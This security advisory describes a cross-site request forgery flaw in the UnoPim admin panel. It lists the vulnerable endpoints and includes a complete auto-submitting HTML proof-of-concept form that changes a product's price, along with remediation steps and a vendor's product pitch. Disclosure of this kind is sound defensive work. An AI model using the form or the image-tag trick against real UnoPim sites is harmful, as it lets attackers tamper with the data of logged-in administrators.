GHSA-287x-6r2h-f9mw
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
unopim/unopimReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF).
| Method | Endpoint | Status | Reason |
|---|---|---|---|
| POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
| GET | /admin/catalog/products/copy/{id} | Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/catalog/products/edit/{id} | Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:
/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}
Details
CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim.
In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.
PoC
1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.
POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ
csrf-poc.html:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
<input type="hidden" name="_token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="sku" value="SM-BL-102" />
<input type="hidden" name="channel" value="default" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="values[common][sku]" value="SM-BL-102" />
<input type="hidden" name="uniqueFields[values.common.sku]" value="values[common][sku]" />
<input type="hidden" name="values[common][product_number]" value="" />
<input type="hidden" name="uniqueFields[values.common.product_number]" value="values[common][product_number]" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][name]" value="test" />
<input type="hidden" name="values[common][url_key]" value="fffkk" />
<input type="hidden" name="uniqueFields[values.common.url_key]" value="values[common][url_key]" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input type="hidden" name="values[common][brand]" value="" />
<input type="hidden" name="values[common][brand]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][short_description]" value="<p>fff</p>" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][description]" value="<p>fff</p>" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_title]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_keywords]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_description]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][price][USD]" value="7.777" />
<input type="hidden" name="values[channel_specific][default][cost][USD]" value="" />
<input type="hidden" name="values[common][status]" value="false" />
<input type="hidden" name="values[common][status]" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.
Remediation:
- Use CSRF token for every state changing request.
- Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | unopim/unopim | all versions | 0.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for unopim/unopim. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update unopim/unopim to 0.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-287x-6r2h-f9mw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-287x-6r2h-f9mw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-287x-6r2h-f9mw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-287x-6r2h-f9mw in your dependencies?
O3 detects GHSA-287x-6r2h-f9mw across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.